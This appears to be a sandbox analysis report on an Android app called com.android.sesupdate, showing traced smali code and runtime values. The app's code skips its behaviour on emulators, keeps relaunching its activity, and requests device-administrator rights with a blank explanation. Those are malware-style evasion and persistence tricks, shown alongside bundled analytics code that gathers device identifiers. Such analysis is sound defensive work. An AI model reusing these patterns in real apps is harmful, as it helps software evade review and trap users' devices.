                            • who: ComponentInfo{com.android.sesupdate/com.android.sesupdate.receivers.DeviceAdmin}
                            • Return:
                              • false
                          29move-result v1
                          30if-nez v1, :cond_46
                          31sget-boolean v1, Lcom/android/sesupdate/MainActivity;->isForeground:Z
                          32if-nez v1, :cond_46
                          33new-instance v0, Landroid/content/Intent;
                          35invoke-virtual {p0}, Lcom/android/sesupdate/services/FirstService;->getApplicationContext()Landroid/content/Context;
                          36move-result-object v1
                          37const-class v2, Lcom/android/sesupdate/MainActivity;
                          39invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                          40const/high16 v1, 0x10000000
                          42invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                          43const/high16 v1, 0x20000
                          45invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                          47invoke-virtual {p0, v0}, Lcom/android/sesupdate/services/FirstService;->startActivity(Landroid/content/Intent;)V
                          48cond_46: new-instance v1, Landroid/os/Handler;
                          50invoke-direct {v1}, Landroid/os/Handler;-><init>()V
                          51new-instance v2, Lcom/android/sesupdate/services/FirstService$KeepAliveHandler;
                          53invoke-direct {v2, p0}, Lcom/android/sesupdate/services/FirstService$KeepAliveHandler;-><init>(Lcom/android/sesupdate/services/FirstService;)V
                          54const-wide/16 v4, 0xc8
                          56invoke-virtual {v1, v2, v4, v5}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
                          57return-void
                          Cross References
                          APIs
                          • io.fabric.sdk.android.services.common.IdManager.getAppIdentifier
                          • io.fabric.sdk.android.services.common.IdManager.getAppInstallIdentifier
                          • java.util.Map.get
                          • io.fabric.sdk.android.services.common.IdManager.isLimitAdTrackingEnabled
                          • java.util.Map.get
                          • io.fabric.sdk.android.services.common.IdManager.getOsVersionString
                          • io.fabric.sdk.android.services.common.IdManager.getModelName
                          • java.util.UUID.randomUUID
                          • java.util.UUID.toString
                          Strings
                          • com.android.sesupdate
                          • 727b1e1c99ed48bfa431dd3ed82456db
                          • 4.2.1/50
                          • Galaxy Nexus
                          • samsung/Galaxy Nexus
                          • samsung
                          Position Instruction Meta Information
                          0.prologue
                          2iget-object v0, p0, Lcom/crashlytics/android/answers/SessionMetadataCollector;->idManager:Lio/fabric/sdk/android/services/common/IdManager;
                          4invoke-virtual {v0}, Lio/fabric/sdk/android/services/common/IdManager;->getDeviceIdentifiers()Ljava/util/Map;
                          5move-result-object v13
                          7iget-object v0, p0, Lcom/crashlytics/android/answers/SessionMetadataCollector;->idManager:Lio/fabric/sdk/android/services/common/IdManager;
                          9invoke-virtual {v0}, Lio/fabric/sdk/android/services/common/IdManager;->getAppIdentifier()Ljava/lang/String;
                          • Time: 994608168
                            • This:
                              • io.fabric.sdk.android.services.common.IdManager@3140ff30
                            • Return:
                              • com.android.sesupdate
                          10move-result-object v1
                          12iget-object v0, p0, Lcom/crashlytics/android/answers/SessionMetadataCollector;->idManager:Lio/fabric/sdk/android/services/common/IdManager;
                          14invoke-virtual {v0}, Lio/fabric/sdk/android/services/common/IdManager;->getAppInstallIdentifier()Ljava/lang/String;
                          • Time: 994608207
                            • This:
                              • io.fabric.sdk.android.services.common.IdManager@3140ff30
                            • Return:
                              • 727b1e1c99ed48bfa431dd3ed82456db
                          15move-result-object v3
                          17sget-object v0, Lio/fabric/sdk/android/services/common/IdManager$DeviceIdentifierType;->ANDROID_ID:Lio/fabric/sdk/android/services/common/IdManager$DeviceIdentifierType;
                          19invoke-interface {v13, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          20move-result-object v4
                          21check-cast v4, Ljava/lang/String;
                          23sget-object v0, Lio/fabric/sdk/android/services/common/IdManager$DeviceIdentifierType;->ANDROID_ADVERTISING_ID:Lio/fabric/sdk/android/services/common/IdManager$DeviceIdentifierType;
                          25invoke-interface {v13, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          26move-result-object v5
                          27check-cast v5, Ljava/lang/String;
                          29iget-object v0, p0, Lcom/crashlytics/android/answers/SessionMetadataCollector;->idManager:Lio/fabric/sdk/android/services/common/IdManager;
                          31invoke-virtual {v0}, Lio/fabric/sdk/android/services/common/IdManager;->isLimitAdTrackingEnabled()Ljava/lang/Boolean;
                          • Time: 994608290
                            • This:
                              • io.fabric.sdk.android.services.common.IdManager@3140ff30
                            • Return:
                              • false
                          32move-result-object v6
                          34sget-object v0, Lio/fabric/sdk/android/services/common/IdManager$DeviceIdentifierType;->FONT_TOKEN:Lio/fabric/sdk/android/services/common/IdManager$DeviceIdentifierType;
                          36invoke-interface {v13, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                          37move-result-object v7
                          38check-cast v7, Ljava/lang/String;
                          40iget-object v0, p0, Lcom/crashlytics/android/answers/SessionMetadataCollector;->context:Landroid/content/Context;
                          42invoke-static {v0}, Lio/fabric/sdk/android/services/common/CommonUtils;->resolveBuildId(Landroid/content/Context;)Ljava/lang/String;
                          43move-result-object v8
                          45iget-object v0, p0, Lcom/crashlytics/android/answers/SessionMetadataCollector;->idManager:Lio/fabric/sdk/android/services/common/IdManager;
                          47invoke-virtual {v0}, Lio/fabric/sdk/android/services/common/IdManager;->getOsVersionString()Ljava/lang/String;
                          • Time: 994608458
                            • This:
                              • io.fabric.sdk.android.services.common.IdManager@3140ff30
                            • Return:
                              • 4.2.1/50
                          48move-result-object v9
                          50iget-object v0, p0, Lcom/crashlytics/android/answers/SessionMetadataCollector;->idManager:Lio/fabric/sdk/android/services/common/IdManager;
                          52invoke-virtual {v0}, Lio/fabric/sdk/android/services/common/IdManager;->getModelName()Ljava/lang/String;
                          • Time: 994608472
                            • Return:
                              • samsung
                          • Time: 994608502
                            • Return:
                              • Galaxy Nexus
                          • Time: 994608512
                            • This:
                              • io.fabric.sdk.android.services.common.IdManager@3140ff30
                            • Return:
                              • samsung/Galaxy Nexus
                          53move-result-object v10
                          55invoke-static {}, Ljava/util/UUID;->randomUUID()Ljava/util/UUID;
                          56move-result-object v0
                          58invoke-virtual {v0}, Ljava/util/UUID;->toString()Ljava/lang/String;
                          59move-result-object v2
                          60new-instance v0, Lcom/crashlytics/android/answers/SessionEventMetadata;
                          62iget-object v11, p0, Lcom/crashlytics/android/answers/SessionMetadataCollector;->versionCode:Ljava/lang/String;
                          64iget-object v12, p0, Lcom/crashlytics/android/answers/SessionMetadataCollector;->versionName:Ljava/lang/String;
                          66invoke-direct/range {v0 .. v12}, Lcom/crashlytics/android/answers/SessionEventMetadata;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/Boolean;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                          67return-object v0
                          Cross References
                          APIs
                          • java.security.MessageDigest.getInstance
                          • java.security.MessageDigest.update
                          • java.security.MessageDigest.digest
                          • java.lang.String.<init>
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • SHA-1
                          • 2139026ba246eeec6abbb147dbf0c48102e7639a
                          • a70c5b872411d0a0d40da8f7f831148fe10d2556
                          • Fabric
                          • Could not create hashing algorithm:
                          • , returning empty string.
                          Position Instruction Meta Information
                          0.param p0, "bytes" # [B
                          1.param p1, "algorithm" # Ljava/lang/String;
                          2.prologue
                          3const/4 v0, 0x0
                          4try_start_1:
                          5invoke-static {p1}, Ljava/security/MessageDigest;->getInstance(Ljava/lang/String;)Ljava/security/MessageDigest;
                          • Time: 994608109
                            • p0: SHA-1
                            • Return:
                              • MESSAGE DIGEST SHA-1
                          6try_end_4: move-result-object v0
                          8invoke-virtual {v0, p0}, Ljava/security/MessageDigest;->update([B)V
                          • Time: 994608126
                            • This:
                              • MESSAGE DIGEST SHA-1
                            • p0: [B@1844d8e5
                            • p0: 727b1e1c99ed48bfa431dd3ed82456db
                            • p0: 3732376231653163393965643438626661343331646433656438323435366462
                          • Time: 994608278
                            • This:
                              • MESSAGE DIGEST SHA-1
                            • p0: [B@6625596
                            • p0: edbc48a370844623be9da00d32277bfa
                            • p0: 6564626334386133373038343436323362653964613030643332323737626661
                          • Time: 994608452
                            • This:
                              • MESSAGE DIGEST SHA-1
                            • p0: [B@2234ece
                            • p0: edbc48a370844623be9da00d32277bfa
                            • p0: 6564626334386133373038343436323362653964613030643332323737626661
                          • Time: 994613690
                            • This:
                              • MESSAGE DIGEST SHA-1
                            • p0: [B@3f9a9283
                            • p0: edbc48a370844623be9da00d32277bfa
                            • p0: 6564626334386133373038343436323362653964613030643332323737626661
                          10invoke-virtual {v0}, Ljava/security/MessageDigest;->digest()[B
                          11move-result-object v2
                          13invoke-static {v2}, Lio/fabric/sdk/android/services/common/CommonUtils;->hexify([B)Ljava/lang/String;
                          • Time: 994608171
                            • This:
                              • 2139026ba246eeec6abbb147dbf0c48102e7639a
                            • p0: [C@15243899
                            • p0: 2139026ba246eeec6abbb147dbf0c48102e7639a
                            • Return:
                              • 2139026ba246eeec6abbb147dbf0c48102e7639a
                          • Time: 994608299
                            • This:
                              • a70c5b872411d0a0d40da8f7f831148fe10d2556
                            • p0: [C@e63522
                            • p0: a70c5b872411d0a0d40da8f7f831148fe10d2556
                            • Return:
                              • a70c5b872411d0a0d40da8f7f831148fe10d2556
                          • Time: 994608468
                            • This:
                              • a70c5b872411d0a0d40da8f7f831148fe10d2556
                            • p0: [C@1946c4e8
                            • p0: a70c5b872411d0a0d40da8f7f831148fe10d2556
                            • Return:
                              • a70c5b872411d0a0d40da8f7f831148fe10d2556
                          • Time: 994613850
                            • This:
                              • a70c5b872411d0a0d40da8f7f831148fe10d2556
                            • p0: [C@3769d3df
                            • p0: a70c5b872411d0a0d40da8f7f831148fe10d2556
                            • Return:
                              • a70c5b872411d0a0d40da8f7f831148fe10d2556
                          14move-result-object v2
                          15goto_10: return-object v2
                          16catch_11: move-exception v1
                          18invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          19move-result-object v2
                          21const-string v3, "Fabric"
                          22new-instance v4, Ljava/lang/StringBuilder;
                          24invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                          26const-string v5, "Could not create hashing algorithm: "
                          28invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          29move-result-object v4
                          31invoke-virtual {v4, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          32move-result-object v4
                          34const-string v5, ", returning empty string."
                          36invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          37move-result-object v4
                          39invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          40move-result-object v4
                          42invoke-interface {v2, v3, v4, v1}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          44const-string v2, ""
                          45goto/16 :goto_10
                          Cross References
                          APIs
                          • java.util.concurrent.locks.ReentrantLock.lock
                          • android.app.SharedPreferencesImpl.getString
                          • java.util.UUID.randomUUID
                          • java.util.UUID.toString
                          • android.content.SharedPreferences.edit
                          • android.content.SharedPreferences$Editor.putString
                          • android.content.SharedPreferences$Editor.commit
                          • java.util.concurrent.locks.ReentrantLock.unlock
                          Strings
                          • crashlytics.installation.id
                          Position Instruction Meta Information
                          0.param p1, "prefs" # Landroid/content/SharedPreferences;
                          1.annotation build Landroid/annotation/SuppressLint;
                          2value = {
                          3"CommitPrefEdits"
                          4}
                          5.end annotation
                          6.prologue
                          8iget-object v1, p0, Lio/fabric/sdk/android/services/common/IdManager;->installationIdLock:Ljava/util/concurrent/locks/ReentrantLock;
                          10invoke-virtual {v1}, Ljava/util/concurrent/locks/ReentrantLock;->lock()V
                          11try_start_5:
                          12const-string v1, "crashlytics.installation.id"
                          13const/4 v2, 0x0
                          15invoke-interface {p1, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                          • Time: 994608062
                            • This:
                              • android.app.SharedPreferencesImpl@3c126e98
                            • p0: crashlytics.installation.id
                            • p1: null
                            • Return:
                              • null
                          16move-result-object v0
                          17if-nez v0, :cond_27
                          19invoke-static {}, Ljava/util/UUID;->randomUUID()Ljava/util/UUID;
                          20move-result-object v1
                          22invoke-virtual {v1}, Ljava/util/UUID;->toString()Ljava/lang/String;
                          23move-result-object v1
                          25invoke-direct {p0, v1}, Lio/fabric/sdk/android/services/common/IdManager;->formatId(Ljava/lang/String;)Ljava/lang/String;
                          26move-result-object v0
                          28invoke-interface {p1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                          29move-result-object v1
                          31const-string v2, "crashlytics.installation.id"
                          33invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                          34move-result-object v1
                          36invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z
                          37try_end_27:
                          38iget-object v1, p0, Lio/fabric/sdk/android/services/common/IdManager;->installationIdLock:Ljava/util/concurrent/locks/ReentrantLock;
                          40invoke-virtual {v1}, Ljava/util/concurrent/locks/ReentrantLock;->unlock()V
                          41return-object v0
                          42catchall_2d: move-exception v1
                          44iget-object v2, p0, Lio/fabric/sdk/android/services/common/IdManager;->installationIdLock:Ljava/util/concurrent/locks/ReentrantLock;
                          46invoke-virtual {v2}, Ljava/util/concurrent/locks/ReentrantLock;->unlock()V
                          47throw v1
                          APIs
                          • android.app.Application.onCreate
                          • com.android.sesupdate.DeviceUtil.isEmulator
                          • com.android.sesupdate.MainApplication.getApplicationContext
                          • android.content.Intent.<init>
                          • com.android.sesupdate.MainApplication.startService
                          Strings
                          • =occam
                          • Galaxy Nexus
                          • google/yakju/maguro:4.2.1/JOP40D/533553:user/release-keys
                          • google
                          • samsung
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-super {p0}, Landroid/app/Application;->onCreate()V
                          3const/4 v0, 0x1
                          4new-array v0, v0, [Lio/fabric/sdk/android/Kit;
                          5const/4 v1, 0x0
                          6new-instance v2, Lcom/crashlytics/android/Crashlytics;
                          8invoke-direct {v2}, Lcom/crashlytics/android/Crashlytics;-><init>()V
                          9aput-object v2, v0, v1
                          11invoke-static {p0, v0}, Lio/fabric/sdk/android/Fabric;->with(Landroid/content/Context;[Lio/fabric/sdk/android/Kit;)Lio/fabric/sdk/android/Fabric;
                          13invoke-static {}, Lcom/android/sesupdate/DeviceUtil;->isEmulator()Z
                          • Time: 994608105
                            • Return:
                              • google/yakju/maguro:4.2.1/JOP40D/533553:user/release-keys
                          • Time: 994608117
                            • Return:
                              • Galaxy Nexus
                          • Time: 994608142
                            • Return:
                              • samsung
                          • Time: 994608153
                            • Return:
                              • google
                          • Time: 994608157
                            • Return:
                              • =occam
                          • Time: 994608161
                            • Return:
                              • false
                          14move-result v0
                          15if-nez v0, :cond_25
                          16new-instance v0, Landroid/content/Intent;
                          18invoke-virtual {p0}, Lcom/android/sesupdate/MainApplication;->getApplicationContext()Landroid/content/Context;
                          19move-result-object v1
                          20const-class v2, Lcom/android/sesupdate/services/FirstService;
                          22invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                          24invoke-virtual {p0, v0}, Lcom/android/sesupdate/MainApplication;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
                          • Time: 994608190
                            • This:
                              • com.android.sesupdate.MainApplication@1b85eb7a
                            • p0: Intent { cmp=com.android.sesupdate/.services.FirstService }
                            • Return:
                              • ComponentInfo{com.android.sesupdate/com.android.sesupdate.services.FirstService}
                          25cond_25: return-void
                          APIs
                          • android.app.Activity.onCreate
                          • com.android.sesupdate.MainActivity.setContentView
                          • com.android.sesupdate.DeviceUtil.isEmulator
                          • com.android.sesupdate.MainActivity.finish
                          • com.android.sesupdate.MainActivity.requestDeviceAdmin
                          Strings
                          • =occam
                          • Galaxy Nexus
                          • google/yakju/maguro:4.2.1/JOP40D/533553:user/release-keys
                          • google
                          • samsung
                          Position Instruction Meta Information
                          0.param p1, "savedInstanceState" # Landroid/os/Bundle;
                          1.prologue
                          3invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
                          4const/high16 v0, 0x7f030000
                          6invoke-virtual {p0, v0}, Lcom/android/sesupdate/MainActivity;->setContentView(I)V
                          8invoke-static {}, Lcom/android/sesupdate/DeviceUtil;->isEmulator()Z
                          • Time: 994608244
                            • Return:
                              • google/yakju/maguro:4.2.1/JOP40D/533553:user/release-keys
                          • Time: 994608259
                            • Return:
                              • Galaxy Nexus
                          • Time: 994608282
                            • Return:
                              • samsung
                          • Time: 994608293
                            • Return:
                              • google
                          • Time: 994608300
                            • Return:
                              • =occam
                          • Time: 994608313
                            • Return:
                              • false
                          9move-result v0
                          10if-eqz v0, :cond_11
                          12invoke-virtual {p0}, Lcom/android/sesupdate/MainActivity;->finish()V
                          13cond_11: const/4 v0, 0x1
                          14sput-boolean v0, Lcom/android/sesupdate/MainActivity;->isForeground:Z
                          16invoke-virtual {p0}, Lcom/android/sesupdate/MainActivity;->requestDeviceAdmin()V
                          17return-void
                          Cross References
                          APIs
                          • java.security.MessageDigest.getInstance
                          • java.io.InputStream.read
                          • java.security.MessageDigest.update
                          • java.security.MessageDigest.digest
                          • java.lang.String.<init>
                          Strings
                          • SHA-1
                          • Fabric
                          • Could not calculate hash for app icon.
                          • 2e2f12c9caf18e6c264f29a759e5477fa62a7720
                          Position Instruction Meta Information
                          0.param p0, "source" # Ljava/io/InputStream;
                          1.param p1, "sha1Instance" # Ljava/lang/String;
                          2.prologue
                          3try_start_0:
                          4invoke-static {p1}, Ljava/security/MessageDigest;->getInstance(Ljava/lang/String;)Ljava/security/MessageDigest;
                          • Time: 994607599
                            • p0: SHA-1
                            • Return:
                              • MESSAGE DIGEST SHA-1
                          5move-result-object v1
                          6const/16 v4, 0x400
                          7new-array v0, v4, [B
                          8const/4 v3, 0x0
                          9goto_9:
                          10invoke-virtual {p0, v0}, Ljava/io/InputStream;->read([B)I
                          11move-result v3
                          12const/4 v4, -0x1
                          13if-eq v3, v4, :cond_24
                          14const/4 v4, 0x0
                          16invoke-virtual {v1, v0, v4, v3}, Ljava/security/MessageDigest;->update([BII)V
                          • Time: 994607603
                            • This:
                              • MESSAGE DIGEST SHA-1
                            • p0: [B@269fb7b7
                            • p0: PNGIHDRPLTEz=tRNS@f*IDATx nH@|QIENDB`
                            • p0: 89504E470D0A1A0A0000000D4948445200000090000000900803000000D098128A00000003504C5445000000A77A3DDA0000000174524E530040E6D8660000002A4944415478DAEDC101010000008220FFAF6E484001000000000000000000000000000000000000007C1951900001C289CBD40000000049454E44AE42608200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
                            • p1: 0
                            • p2: 127
                          • Time: 994607720
                            • This:
                              • MESSAGE DIGEST SHA-1
                            • p0: [B@16b329d8
                            • p0: PNGIHDRPLTEz=tRNS@f*IDATx nH@|QIENDB`
                            • p0: 89504E470D0A1A0A0000000D4948445200000090000000900803000000D098128A00000003504C5445000000A77A3DDA0000000174524E530040E6D8660000002A4944415478DAEDC101010000008220FFAF6E484001000000000000000000000000000000000000007C1951900001C289CBD40000000049454E44AE42608200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
                            • p1: 0
                            • p2: 127
                          17try_end_14: goto/16 :goto_9
                          18catch_15: move-exception v2
                          20invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          21move-result-object v4
                          23const-string v5, "Fabric"
                          25const-string v6, "Could not calculate hash for app icon."
                          27invoke-interface {v4, v5, v6, v2}, Lio/fabric/sdk/android/Logger;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)V
                          29const-string v4, ""
                          30goto_23: return-object v4
                          31cond_24:
                          32invoke-virtual {v1}, Ljava/security/MessageDigest;->digest()[B
                          33move-result-object v4
                          35invoke-static {v4}, Lio/fabric/sdk/android/services/common/CommonUtils;->hexify([B)Ljava/lang/String;
                          • Time: 994607616
                            • This:
                              • 2e2f12c9caf18e6c264f29a759e5477fa62a7720
                            • p0: [C@347bd590
                            • p0: 2e2f12c9caf18e6c264f29a759e5477fa62a7720
                            • Return:
                              • 2e2f12c9caf18e6c264f29a759e5477fa62a7720
                          • Time: 994607746
                            • This:
                              • 2e2f12c9caf18e6c264f29a759e5477fa62a7720
                            • p0: [C@13215bf0
                            • p0: 2e2f12c9caf18e6c264f29a759e5477fa62a7720
                            • Return:
                              • 2e2f12c9caf18e6c264f29a759e5477fa62a7720
                          36try_end_2b: move-result-object v4
                          37goto/16 :goto_23
                          Cross References
                          APIs
                          • java.lang.String.contains
                          • java.io.File.<init>
                          • java.io.File.exists
                          • java.io.File.<init>
                          Strings
                          • =occam
                          • test-keys
                          • /system/app/Superuser.apk
                          • /system/xbin/su
                          Position Instruction Meta Information
                          0.param p0, "context" # Landroid/content/Context;
                          1.prologue
                          2const/4 v3, 0x1
                          4invoke-static {p0}, Lio/fabric/sdk/android/services/common/CommonUtils;->isEmulator(Landroid/content/Context;)Z
                          • Time: 994608733
                            • Return:
                              • =occam
                          5move-result v2
                          7sget-object v0, Landroid/os/Build;->TAGS:Ljava/lang/String;
                          8if-nez v2, :cond_14
                          9if-eqz v0, :cond_14
                          11const-string v4, "test-keys"
                          13invoke-virtual {v0, v4}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                          14move-result v4
                          15if-eqz v4, :cond_14
                          16goto_13: return v3
                          17cond_14: new-instance v1, Ljava/io/File;
                          19const-string v4, "/system/app/Superuser.apk"
                          21invoke-direct {v1, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                          23invoke-virtual {v1}, Ljava/io/File;->exists()Z
                          • Time: 994608769
                            • This:
                              • /system/app/Superuser.apk
                            • Return:
                              • false
                          24move-result v4
                          25if-nez v4, :cond_13
                          26new-instance v1, Ljava/io/File;
                          28const-string v4, "/system/xbin/su"
                          30invoke-direct {v1, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                          31if-nez v2, :cond_30
                          33invoke-virtual {v1}, Ljava/io/File;->exists()Z
                          • Time: 994608787
                            • This:
                              • /system/xbin/su
                            • Return:
                              • false
                          34move-result v4
                          35if-nez v4, :cond_13
                          36cond_30: const/4 v3, 0x0
                          37goto/16 :goto_13
                          Cross References
                          APIs
                          • io.fabric.sdk.android.services.common.IdManager.explicitCheckLimitAdTracking
                          • java.lang.Boolean.equals
                          • io.fabric.sdk.android.services.common.IdManager.shouldCollectHardwareIds
                          • android.content.Context.getContentResolver
                          • android.provider.Settings.Secure.getString
                          • java.lang.String.equals
                          Strings
                          • android_id
                          • d6ab1046af78a9eb
                          • 9774d56d682e549c
                          Position Instruction Meta Information
                          0.prologue
                          1const/4 v2, 0x0
                          3sget-object v3, Ljava/lang/Boolean;->TRUE:Ljava/lang/Boolean;
                          5invoke-direct {p0}, Lio/fabric/sdk/android/services/common/IdManager;->explicitCheckLimitAdTracking()Ljava/lang/Boolean;
                          • Time: 994608043
                            • This:
                              • io.fabric.sdk.android.services.common.IdManager@3140ff30
                            • Return:
                              • false
                          6move-result-object v4
                          8invoke-virtual {v3, v4}, Ljava/lang/Boolean;->equals(Ljava/lang/Object;)Z
                          9move-result v1
                          11invoke-virtual {p0}, Lio/fabric/sdk/android/services/common/IdManager;->shouldCollectHardwareIds()Z
                          • Time: 994608109
                            • This:
                              • io.fabric.sdk.android.services.common.IdManager@3140ff30
                            • Return:
                              • true
                          12move-result v3
                          13if-eqz v3, :cond_2b
                          14if-nez v1, :cond_2b
                          16iget-object v3, p0, Lio/fabric/sdk/android/services/common/IdManager;->appContext:Landroid/content/Context;
                          18invoke-virtual {v3}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                          19move-result-object v3
                          21const-string v4, "android_id"
                          23invoke-static {v3, v4}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                          • Time: 994608125
                            • p0: android.app.ContextImpl$ApplicationContentResolver@26386fdc
                            • p1: android_id
                            • Return:
                              • d6ab1046af78a9eb
                          24move-result-object v0
                          26const-string v3, "9774d56d682e549c"
                          28invoke-virtual {v3, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          29move-result v3
                          30if-nez v3, :cond_2b
                          32invoke-direct {p0, v0}, Lio/fabric/sdk/android/services/common/IdManager;->formatId(Ljava/lang/String;)Ljava/lang/String;
                          33move-result-object v2
                          34cond_2b: return-object v2
                          Cross References
                          APIs
                          • android.content.Intent.<init>
                          • android.content.ComponentName.<init>
                          • android.content.Intent.putExtra
                          • android.content.Intent.addFlags
                          • com.android.sesupdate.MainActivity.startActivityForResult
                          Strings
                          • android.app.action.ADD_DEVICE_ADMIN
                          • android.app.extra.DEVICE_ADMIN
                          • android.app.extra.ADD_EXPLANATION
                          Position Instruction Meta Information
                          0.prologue
                          1new-instance v1, Landroid/content/Intent;
                          3const-string v2, "android.app.action.ADD_DEVICE_ADMIN"
                          5invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                          6new-instance v0, Landroid/content/ComponentName;
                          7const-class v2, Lcom/android/sesupdate/receivers/DeviceAdmin;
                          9invoke-direct {v0, p0, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                          11const-string v2, "android.app.extra.DEVICE_ADMIN"
                          13invoke-virtual {v1, v2, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                          • Time: 994608317
                            • This:
                              • Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
                            • p0: android.app.extra.DEVICE_ADMIN
                            • p1: ComponentInfo{com.android.sesupdate/com.android.sesupdate.receivers.DeviceAdmin}
                            • Return:
                              • Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
                          15const-string v2, "android.app.extra.ADD_EXPLANATION"
                          17const-string v3, ""
                          19invoke-virtual {v1, v2, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                          • Time: 994608323
                            • This:
                              • Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
                            • p0: android.app.extra.ADD_EXPLANATION
                            • p1: ""
                            • Return:
                              • Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
                          20const/high16 v2, 0x20000
                          22invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                          23const/16 v2, 0x29a
                          25invoke-virtual {p0, v1, v2}, Lcom/android/sesupdate/MainActivity;->startActivityForResult(Landroid/content/Intent;I)V
                          26return-void
                          Cross References
                          APIs
                          • android.content.Context.getContentResolver
                          • android.provider.Settings.Secure.getString
                          • java.lang.String.equals
                          Strings
                          • android_id
                          • d6ab1046af78a9eb
                          • sdk
                          • google_sdk
                          Position Instruction Meta Information
                          0.param p0, "context" # Landroid/content/Context;
                          1.prologue
                          3invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                          4move-result-object v1
                          6const-string v2, "android_id"
                          8invoke-static {v1, v2}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                          • Time: 994608679
                            • p0: android.app.ContextImpl$ApplicationContentResolver@26386fdc
                            • p1: android_id
                            • Return:
                              • d6ab1046af78a9eb
                          9move-result-object v0
                          11const-string v1, "sdk"
                          13sget-object v2, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
                          15invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          16move-result v1
                          17if-nez v1, :cond_20
                          19const-string v1, "google_sdk"
                          21sget-object v2, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
                          23invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                          24move-result v1
                          25if-nez v1, :cond_20
                          26if-nez v0, :cond_22
                          27cond_20: const/4 v1, 0x1
                          28goto_21: return v1
                          29cond_22: const/4 v1, 0x0
                          30goto/16 :goto_21
                          APIs
                          • org.json.JSONObject.org.json.JSONObject
                          • org.json.JSONObject.toString
                          • java.lang.String.getBytes
                          • java.io.FileOutputStream.write
                          Strings
                          • Galaxy Nexus
                          • samsung
